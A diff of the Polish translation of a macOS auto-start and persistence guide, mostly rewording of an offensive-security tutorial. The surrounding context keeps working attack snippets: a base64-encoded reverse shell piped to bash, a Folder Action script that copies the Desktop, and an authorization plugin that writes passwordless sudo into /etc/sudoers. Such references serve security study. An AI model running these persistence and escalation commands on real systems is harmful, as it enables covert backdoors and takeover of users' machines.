-* **Wywołanie**: Oczekiwane wywołanie z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu występuje ten błąd: xterm: `DISPLAY is not set`
+* **Wyzwalacz**: Oczekiwano wywołania z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu występuje ten błąd: xterm: `DISPLAY is not set`
-#### Opis & Wykorzystanie
+#### Opis i Wykorzystanie
Podczas inicjowania środowiska powłoki, takiego jak `zsh` lub `bash`, **uruchamiane są określone pliki startowe**. Obecnie macOS używa `/bin/zsh` jako domyślnej powłoki. Ta powłoka jest automatycznie uruchamiana, gdy uruchamiana jest aplikacja Terminal lub gdy urządzenie jest dostępne za pośrednictwem SSH. Chociaż `bash` i `sh` są również obecne w macOS, muszą być jawnie wywoływane, aby być używane.
@@ -155,7 +155,7 @@ Konfiguracja wskazanego wykorzystania i wylogowanie się, a następnie ponowne z
Wszystkie aplikacje do ponownego otwarcia znajdują się w pliku plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist`
-Aby sprawić, żeby ponownie otwierane aplikacje uruchamiały Twoją własną, wystarczy **dodać swoją aplikację do listy**.
+Aby sprawić, żeby ponownie otwierane aplikacje uruchamiały twoją własną, wystarczy **dodać swoją aplikację do listy**.
UUID można znaleźć, listując ten katalog lub za pomocą `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
@@ -165,7 +165,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
```
-Aby **dodać aplikację do tej listy**, możesz użyć:
+Aby **dodać aplikację do tej listy**, można użyć:
```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
@@ -184,7 +184,7 @@ Aby **dodać aplikację do tej listy**, możesz użyć:
#### Lokalizacja
* **`~/Library/Preferences/com.apple.Terminal.plist`**
-* **Wywołanie**: Otwórz Terminal
+* **Wyzwalacz**: Otwórz Terminal
#### Opis i Wykorzystanie
@@ -268,7 +268,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;
```
-Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zwykłą zawartością skryptów powłoki i zostaną one również otwarte przez Terminal.
+Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zwykłą zawartością skryptów powłoki i zostaną one otwarte przez Terminal.
{% hint style="danger" %}
Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie ukończyć tę akcję (zauważ, że wykonane polecenie będzie widoczne w oknie terminala).
@@ -287,19 +287,19 @@ Opis: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://pos
* **`/Library/Audio/Plug-Ins/HAL`**
* Wymagane uprawnienia roota
-* **Wywołanie**: Zrestartuj coreaudiod lub komputer
+* **Wywołanie**: Restart coreaudiod lub komputera
* **`/Library/Audio/Plug-ins/Components`**
* Wymagane uprawnienia roota
-* **Wywołanie**: Zrestartuj coreaudiod lub komputer
+* **Wywołanie**: Restart coreaudiod lub komputera
* **`~/Library/Audio/Plug-ins/Components`**
-* **Wywołanie**: Zrestartuj coreaudiod lub komputer
+* **Wywołanie**: Restart coreaudiod lub komputera
* **`/System/Library/Components`**
* Wymagane uprawnienia roota
-* **Wywołanie**: Zrestartuj coreaudiod lub komputer
+* **Wywołanie**: Restart coreaudiod lub komputera
#### Opis
-Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i ich załadowanie.
+Zgodnie z poprzednimi opisami możliwe jest **skompilowanie niektórych wtyczek audio** i załadowanie ich.
### Wtyczki QuickLook
@@ -314,8 +314,8 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.git
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
-* `/Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/`
-* `~/Applications/NazwaAplikacjiTutaj/Contents/Library/QuickLook/`
+* `/Applications/AppNameHere/Contents/Library/QuickLook/`
+* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
#### Opis i Wykorzystanie
@@ -326,7 +326,7 @@ Możesz skompilować własną wtyczkę QuickLook, umieścić ją w jednej z powy
### ~~Haki logowania/wylogowania~~
{% hint style="danger" %}
-To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roota
+To nie zadziałało dla mnie, ani z Hakiem logowania użytkownika, ani z Hakiem wylogowania roota
{% endhint %}
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
@@ -336,7 +336,7 @@ To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roo
#### Lokalizacja
-* Musisz móc wykonać coś w stylu `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
+* Musisz być w stanie wykonać coś w rodzaju `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Znajduje się w `~/Library/Preferences/com.apple.loginwindow.plist`
Są przestarzałe, ale mogą być używane do wykonywania poleceń po zalogowaniu użytkownika.
@@ -361,17 +361,17 @@ TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
```
-Aby usunąć to:
+Aby je usunąć:
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
-Plik root użytkownika jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
+Plik użytkownika root jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Warunkowe obejście piaskownicy
{% hint style="success" %}
-Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, które pozwalają Ci po prostu uruchomić coś, **zapisując to do pliku** i **oczekując na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
+Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, które pozwala na po prostu wykonanie czegoś poprzez **zapisanie tego do pliku** i **oczekiwanie na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
{% endhint %}
### Cron
@@ -379,14 +379,14 @@ Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, kt
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
-* Musisz jednak móc wykonać binarny `crontab`
-* Lub być rootem
+* Jednakże, musisz być w stanie wykonać binarny `crontab`
+* Lub być użytkownikiem root
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacja
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
-* Wymagany jest dostęp do zapisu roota. Brak wymagania roota, jeśli możesz wykonać `crontab `
+* Wymagany dostęp roota do bezpośredniego zapisu. Brak wymagania roota jeśli możesz wykonać `crontab `
* **Wywołanie**: Zależy od zadania cron
#### Opis i Wykorzystanie
@@ -395,7 +395,7 @@ Wyświetl listę zadań cron **bieżącego użytkownika** za pomocą:
```bash
crontab -l
```
-Można również zobaczyć wszystkie zadania cron użytkowników w **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (wymaga uprawnień root).
+Można również zobaczyć wszystkie zadania cron użytkowników w **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (wymaga uprawnień roota).
W systemie MacOS można znaleźć kilka folderów wykonujących skrypty z **określoną częstotliwością** w:
```bash
@@ -426,7 +426,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.git
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **Wywołanie**: Otwórz iTerm
-#### Opis i Wykorzystanie
+#### Opis & Wykorzystanie
Skrypty przechowywane w **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** zostaną wykonane. Na przykład:
```bash
@@ -449,7 +449,7 @@ Launch Daemons are used to run processes at system boot or login. They are store
#### Login Items
-Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
+Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.
#### Startup Items
@@ -474,7 +474,7 @@ Skrypt **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** zostan
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
-Preferencje iTerm2 znajdują się w **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogą **wskazywać polecenie do wykonania** po otwarciu terminala iTerm2.
+Pliki preferencji iTerm2 znajdują się w **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogą **wskazywać polecenie do wykonania** po otwarciu terminala iTerm2.
To ustawienie można skonfigurować w ustawieniach iTerm2:
@@ -540,7 +540,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
* Ale Hammerspoon musi być zainstalowany
* Ominięcie TCC: [✅](https://emojipedia.org/check-mark-button)
-* Wymaga uprawnień dostępu
+* Wymaga uprawnień dostępności
#### Lokalizacja
@@ -551,7 +551,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) służy jako platforma automatyzacji dla **macOS**, wykorzystując język skryptowy **LUA** do swoich operacji. Warto zauważyć, że obsługuje integrację pełnego kodu AppleScript oraz wykonywanie skryptów powłoki, co znacząco zwiększa jego możliwości skryptowe.
-Aplikacja szuka jednego pliku, `~/.hammerspoon/init.lua`, i po uruchomieniu zostanie wykonany skrypt.
+Aplikacja szuka jednego pliku, `~/.hammerspoon/init.lua`, który zostanie wykonany po uruchomieniu skryptu.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@@ -582,7 +582,7 @@ To narzędzie pozwala wskazać aplikacje lub skrypty do wykonania po naciśnięc
* `???`
-Pozwala tworzyć przepływy pracy, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie atakujący może stworzyć plik przepływu pracy i sprawić, aby Alfred go załadował (należy opłacić wersję premium, aby korzystać z przepływów pracy).
+Pozwala tworzyć przepływy pracy, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie możliwe jest, że atakujący może stworzyć plik przepływu pracy i sprawić, aby Alfred go załadował (należy opłacić wersję premium, aby korzystać z przepływów pracy).
### SSHRC
@@ -591,15 +591,15 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.git
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
* Ale ssh musi być włączone i używane
* Ominięcie TCC: [✅](https://emojipedia.org/check-mark-button)
-* SSH ma dostęp do pełnego dysku
+* SSH miał dostęp do pełnego dysku
#### Lokalizacja
* **`~/.ssh/rc`**
-* **Wywołanie**: Logowanie za pomocą ssh
+* **Wywołanie**: Logowanie przez ssh
* **`/etc/ssh/sshrc`**
* Wymagane uprawnienia roota
-* **Wywołanie**: Logowanie za pomocą ssh
+* **Wywołanie**: Logowanie przez ssh
{% hint style="danger" %}
Aby włączyć ssh, wymagane jest uzyskanie dostępu do pełnego dysku:
@@ -614,10 +614,10 @@ Domyślnie, chyba że `PermitUserRC no` w `/etc/ssh/sshd_config`, gdy użytkowni
### **Elementy logowania**
-Opis: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
+Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
-* Ale musisz wywołać `osascript` z argumentami
+* Ale musisz wykonać `osascript` z argumentami
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacje
@@ -645,13 +645,13 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Te elementy są przechowywane w pliku **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
-**Elementy logowania** mogą być również wskazane za pomocą interfejsu API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc), który przechowa konfigurację w **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
+**Elementy logowania** można również wskazać za pomocą interfejsu API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc), który przechowa konfigurację w **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP jako element logowania
-(Sprawdź poprzednią sekcję dotyczącą elementów logowania, to jest rozszerzenie)
+(Sprawdź poprzednią sekcję dotyczącą Elementów logowania, jest to rozszerzenie)
-Jeśli przechowasz plik **ZIP** jako **Element logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne) i plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, **tylnie drzwi wskazane w pliku plist zostaną wykonane**.
+Jeśli przechowasz plik **ZIP** jako **Element logowania**, **`Archive Utility`** go otworzy, a jeśli np. plik zip był przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne zachowanie), a plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, **tylne drzwi wskazane w pliku plist zostaną wykonane**.
Inną opcją byłoby utworzenie plików **`.bash_profile`** i **`.zshenv`** w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal będzie działać.
@@ -685,7 +685,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
-Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania, używając `at -c JOBNUMBER`
+Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania, używając `at -c NUMERZADANIA`
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@@ -733,7 +733,7 @@ Nazwa pliku zawiera kolejkę, numer zadania i czas jego zaplanowanego uruchomien
* `a` - to kolejka
* `0001a` - numer zadania w zapisie szesnastkowym, `0x1a = 26`
-* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w systemie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
+* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w zapisie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
Jeśli wydrukujemy plik zadania, zobaczymy, że zawiera te same informacje, które uzyskaliśmy używając `at -c`.
@@ -757,7 +757,7 @@ Opis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f
#### Opis i Wykorzystanie
-Akcje folderów to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te akcje mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, np. za pomocą interfejsu Finder lub poleceń terminala.
+Akcje folderów to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te działania mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, np. za pomocą interfejsu Finder lub poleceń terminala.
Aby skonfigurować Akcje folderów, masz opcje takie jak:
@@ -766,7 +766,7 @@ Aby skonfigurować Akcje folderów, masz opcje takie jak:
3. Wykorzystanie OSAScript do wysyłania komunikatów zdarzeń Apple do `System Events.app` w celu programowego ustawienia Akcji folderu.
* Ta metoda jest szczególnie przydatna do osadzania akcji w systemie, oferując poziom trwałości.
-Poniższy skrypt jest przykładowym przykładem tego, co może być wykonane przez Akcję folderu:
+Poniższy skrypt jest przykładem tego, co może być wykonane przez Akcję folderu:
```applescript
// source.js
var app = Application.currentApplication();
@@ -776,11 +776,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
-Aby skrypt powyżej można było używać w Akcjach folderu, skompiluj go za pomocą:
+Aby skrypt powyżej mógł być używany przez Akcje folderu, skompiluj go za pomocą:
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
-Po skompilowaniu skryptu skonfiguruj Akcje folderu, wykonując poniższy skrypt. Ten skrypt włączy Akcje folderu globalnie i specyficznie dołączy wcześniej skompilowany skrypt do folderu Pulpit.
+Po skompilowaniu skryptu skonfiguruj Akcje folderu, wykonując poniższy skrypt. Ten skrypt włączy globalnie Akcje folderu i specyficznie dołączy wcześniej skompilowany skrypt do folderu Pulpit.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@@ -835,7 +835,7 @@ Teraz spróbujmy przygotować tę trwałość bez dostępu do interfejsu graficz
Teraz, gdy mamy puste środowisko
3. Skopiuj plik z kopią zapasową: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
-4. Otwórz aplikację Folder Actions Setup.app, aby załadować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
+4. Otwórz aplikację Folder Actions Setup, aby załadować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
To nie zadziałało dla mnie, ale to są instrukcje z opisu :(
@@ -852,7 +852,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.git
#### Lokalizacja
* `~/Library/Preferences/com.apple.dock.plist`
-* **Wywołanie**: Gdy użytkownik kliknie na aplikację w Docku
+* **Wywołanie**: Kiedy użytkownik kliknie na aplikację w Docku
#### Opis i Wykorzystanie
@@ -944,9 +944,9 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.gith
**Skompiluj pakiet wybieraka kolorów** z twoim kodem (możesz użyć [**na przykład tego**](https://github.com/viktorstrate/color-picker-plus)) i dodaj konstruktor (podobnie jak w sekcji [Wygaszacz ekranu](macos-auto-start-locations.md#screen-saver)) i skopiuj pakiet do `~/Library/ColorPickers`.
-Następnie, gdy wybierak kolorów zostanie wywołany, twój kod również powinien.
+Następnie, gdy wybierak kolorów zostanie wywołany, twój kod również powinien być uruchomiony.
-Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
+Zauważ, że binarny plik ładujący twoją bibliotekę ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
@@ -973,9 +973,9 @@ Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piask
#### Opis & Wykorzystanie
-Przykład aplikacji z rozszerzeniem synchronizacji Finder [**znajduje się tutaj**](https://github.com/D00MFist/InSync).
+Przykład aplikacji z rozszerzeniem synchronizacji Finder [**można znaleźć tutaj**](https://github.com/D00MFist/InSync).
-Aplikacje mogą mieć `Rozszerzenia synchronizacji Finder`. To rozszerzenie zostanie umieszczone wewnątrz aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **w piaskownicy** (choć mogą być dodane luźne wyjątki) i musi być zarejestrowane za pomocą:
+Aplikacje mogą mieć `Rozszerzenia synchronizacji Finder`. To rozszerzenie zostanie umieszczone w aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **umieszczane w piaskownicy** (choć można dodać wyjątki) i musi być zarejestrowane za pomocą:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@@ -1000,9 +1000,9 @@ Opis: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://post
* `~/Library/Screen Savers`
* **Wywołanie**: Wybierz wygaszacz ekranu
-
+
-#### Opis i Wykorzystanie
+#### Opis & Wykorzystanie
Utwórz nowy projekt w Xcode i wybierz szablon generujący nowy **Wygaszacz ekranu**. Następnie dodaj do niego kod, na przykład poniższy kod generujący logi.
@@ -1023,7 +1023,7 @@ Timestamp (process)[PID]
Należy pamiętać, że wewnątrz uprawnień binarnych, które ładują ten kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), można znaleźć **`com.apple.security.app-sandbox`**, więc będzie się znajdować **w powszechnym sandboxie aplikacji**.
{% endhint %}
-Kod oszczędzania:
+Kod Screen Saver:
```objectivec
//
// ScreenSaverExampleView.m
@@ -1094,7 +1094,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
-* Jednakże skończysz w piaskownicy aplikacji
+* Ale skończysz w piaskownicy aplikacji
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
* Piaskownica wydaje się bardzo ograniczona
@@ -1117,9 +1117,9 @@ opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.git
Spotlight to wbudowana funkcja wyszukiwania w macOS, zaprojektowana w celu zapewnienia użytkownikom **szybkiego i wszechstronnego dostępu do danych na ich komputerach**.\
Aby ułatwić tę szybką funkcję wyszukiwania, Spotlight utrzymuje **własną bazę danych** i tworzy indeks poprzez **parsowanie większości plików**, umożliwiając szybkie wyszukiwanie zarówno nazw plików, jak i ich zawartości.
-Podstawowy mechanizm Spotlight obejmuje centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces zarządza całym serwisem Spotlight. Dodatkowo istnieje wiele demonów 'mdworker', które wykonują różne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter"**, które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
+Podstawowy mechanizm Spotlight obejmuje centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces zarządza całą usługą Spotlight. Wspomagają to wielokrotne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter**", które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
-Wtyczki lub **paczki `.mdimporter`** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie ma potrzeby restartowania żadnej usługi). Te paczki muszą wskazać, **jakie typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
+Wtyczki lub **paczki `.mdimporter`** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie trzeba restartować żadnej usługi). Te paczki muszą wskazać, które **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
Możliwe jest **znalezienie wszystkich `mdimporterów`** załadowanych, uruchamiając:
```bash
@@ -1130,7 +1130,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
-I na przykład **/Library/Spotlight/iBooksAuthor.mdimporter** jest używany do analizowania tego typu plików (rozszerzenia `.iba` i `.book` między innymi):
+A na przykład **/Library/Spotlight/iBooksAuthor.mdimporter** jest używany do analizowania tego typu plików (rozszerzenia `.iba` i `.book` między innymi):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@@ -1174,7 +1174,7 @@ Co więcej, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc ataku
Aby stworzyć własny importer, możesz zacząć od tego projektu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer), a następnie zmienić nazwę, **`CFBundleDocumentTypes`** i dodać **`UTImportedTypeDeclarations`**, aby obsługiwał rozszerzenie, które chcesz wspierać, i odzwierciedlić je w **`schema.xml`**. Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój payload, gdy zostanie utworzony plik z przetworzonym rozszerzeniem.
-Na koniec **skompiluj i skopiuj swój nowy plik `.mdimporter`** do jednej z powyższych lokalizacji, a następnie sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
+Na koniec **skompiluj i skopiuj swój nowy `.mdimporter`** do jednej z wcześniejszych lokalizacji i sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
### ~~Panel Preferencji~~
@@ -1266,13 +1266,13 @@ monthly_local="/etc/monthly.local" # Local scripts
Jeśli uda ci się napisać którykolwiek z plików `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`, zostanie on **wykonany wcześniej lub później**.
{% hint style="warning" %}
-Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom eskalacji uprawnień).
+Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom na eskalację uprawnień).
{% endhint %}
### PAM
-Opis: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
-Opis: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
+Rozwiązanie: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
+Rozwiązanie: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
* Ale musisz być rootem
@@ -1284,7 +1284,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.git
#### Opis i Wykorzystanie
-Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu wewnątrz macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj opisy, aby lepiej zrozumieć tę technikę**.
+Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu wewnątrz macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj rozwiązania, aby lepiej zrozumieć tę technikę**.
Sprawdź moduły PAM za pomocą:
```bash
@@ -1323,12 +1323,12 @@ Opis: [https://posts.specterops.io/persistent-credential-theft-with-authorizatio
#### Lokalizacja
* `/Library/Security/SecurityAgentPlugins/`
-* Wymagane uprawnienia roota
+* Wymagany dostęp jako root
* Konieczne jest również skonfigurowanie bazy danych autoryzacyjnych do użycia wtyczki
#### Opis i Wykorzystanie
-Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby utrzymać trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź poprzednie opisy (i bądź ostrożny, źle napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
+Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby utrzymać trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź wcześniejsze opisy (i bądź ostrożny, źle napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@@ -1347,7 +1347,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
-Na koniec dodaj **regułę** ładowania tego Pluginu:
+### Dodaj **regułę** do załadowania tego Pluginu:
```bash
cat > /tmp/rule.plist <
@@ -1366,17 +1366,17 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
-**`evaluate-mechanisms`** powie frameworkowi autoryzacyjnemu, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
+**`evaluate-mechanisms`** powie frameworkowi autoryzacyjnemu, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto, **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
Uruchomienie:
```bash
security authorize com.asdf.asdf
```
